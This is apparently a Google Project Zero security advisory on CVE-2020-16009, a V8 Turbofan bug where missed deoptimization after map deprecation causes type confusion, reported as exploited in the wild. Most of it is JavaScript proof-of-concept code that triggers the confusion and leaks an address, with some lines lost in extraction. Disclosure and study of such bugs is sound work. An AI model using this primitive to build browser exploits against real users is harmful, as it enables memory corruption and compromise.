V8: Turbofan fails to deoptimize code after map deprecation, leading to type confusion  
NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.  
When turbofan compiles code that performs a Map transition, it usually installs a CodeDependency so that the resulting code is deoptimized should the target Map ever be deprecated (meaning that the code should now transition to a different Map). This is done through the TransitionDependencyOffTheRecord function [1]. This function will only install the dependency if the target Map can be deprecated, which is determined by Map::CanBeDeprecated [2], shown next  
bool Map::CanBeDeprecated() const {  
for (InternalIndex i : IterateOwnDescriptors()) {  
PropertyDetails details = instance_descriptors(kRelaxedLoad).GetDetails(i);  
if (details.representation().IsNone()) return true;  
if (details.representation().IsSmi()) return true;  
if (details.representation().IsDouble() && FLAG_unbox_double_fields) <---  
return true;  
if (details.representation().IsHeapObject()) return true;  
if (details.kind() == kData && details.location() == kDescriptor) {  
return true;  
return false;  
As can be seen, this function assumes that a Map storing only fields of type Double or Tagged can not be deprecated if FLAG_unbox_double_fields is false, which is the case if pointer compression is enabled (the default on x64). This appears to be incorrect, as the following code demonstrated:  
// Requires --nomodify-field-representation-inplace  
function poc() {  
function hax(o) {  
o.a = 13.37;  
let o1 = {};  
for (let i = 0; i < 100000; i++) {  
let o = i == 1000 ? {} : o1;  
let o2 = {};  
o2.a = {};  
// Map1 is now deprecated  
// %HaveSameMap(o2, o1) === false  
let o3 = {};  
// o3 was now transitioned to a deprecated map  
// ...  
// - deprecated_map  
This code ends up performing a new transition to a deprecated map.  
This bug can be exploited when combined with the in-place field generalization mechanism. In short, the idea is to  
1. JIT compile a function that performs a transition from map1{a:double} to map2{a:double,b:whatever}  
2. Deprecate map2. This does not deoptimize the JIT code since map2 was thought to not be deprecatable  
3. In-place generalize map1.a to type tagged. This will not also generalize map2 since it is deprecated.  
4. Execute the JIT code. This will effectively transition from map1{a:tagged} to map2{a:double,b:whatever}, which is incorrect and results in a type confusion.  
The following code achieves that and causes a check failure in debug builds: \"Debug check failed: value.IsHeapNumber().\" while printing (presumably) an address in release builds.  
// Tested on v8 built from current HEAD (dd84c3937058b086b6b7a412ac352179e20bd9c7)  
// Requires --allow-natives-syntax  
function assert(c) {  
if (!c) { throw \"Assertion failed\"; }  
function assertFalse(c) {  
function poc() {  
function hax(o) {  
o.c = 13.37;  
function makeObjWithMap5() {  
let o = {};  
o.a = 13.37;  
o.b = {};  
return o  
// Create a bunch of Maps. See the assertions for their relationships  
let m1 = {};  
let m2 = {};  
assert(%HaveSameMap(m2, m1));  
m2.a = 13.37;  
let m3 = {};  
m3.a = 13.37;  
assert(%HaveSameMap(m3, m2));  
m3.b = 1;  
let m4 = {};  
m4.a = 13.37;  
m4.b = 1;  
assert(%HaveSameMap(m4, m3));  
m4.c = {};  
let m4_2 = {};  
m4_2.a = 13.37;  
m4_2.b = 1;  
m4_2.c = {};  
assert(%HaveSameMap(m4_2, m4));  
let m5 = {};  
m5.a = 13.37;  
assert(%HaveSameMap(m5, m2));  
m5.b = 13.37;  
assertFalse(%HaveSameMap(m5, m3));  
// At this point, Map3 and Map4 are both deprecated. Map2 transitions to Map5.  
// Map5 is the migration target for Map3. The Migration target for Map4 is a new Map  
assertFalse(%HaveSameMap(m5, m3));  
let m6 = makeObjWithMap5();  
assert(%HaveSameMap(m6, m5));  
let kaputt = makeObjWithMap5();  
assert(%HaveSameMap(kaputt, m5));  
for (let i = 0; i < 100000; i++) {  
let o = i == 1337 ? makeObjWithMap5() : m6;  
// Map4 is deprecated, so this property access triggers a Map migration.  
// This will end up creating a new Map, Map7, to which both Map4 and Map6  
// migrate. Map5's transition entry afterwards points to Map7 and no  
// longer to Map6. Map6 is deprecated.  
let m7 = m4_2;  
assert(%HaveSameMap(m7, m4));  
assertFalse(%HaveSameMap(m7, m4));  
// However, hax was not deoptimized and still transitions to Map6 because  
// Map::CanBeDeprecated returns false for it.  
// This does a in-place map generalization of Map5 and Map7, but not Map6.  
// Map6 still indicates that .a should be a double field.  
kaputt.a = \"asdf\";  
assert(%HaveSameMap(kaputt, m5));  
// This now migrates to the wrong map (Map6) because hax was not deoptimized.  
// This is incorrect because .a now stores a HeapObject and not a double.  
// This now fails in debug builds  
// This prints (presumably) an address in release builds  
Clement Lecigne of Google's Threat Analysis Group and Samuel Gro\u00df of Google Project Zero  
NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.  
Related CVE Numbers: CVE-2020-16009.  
Found by: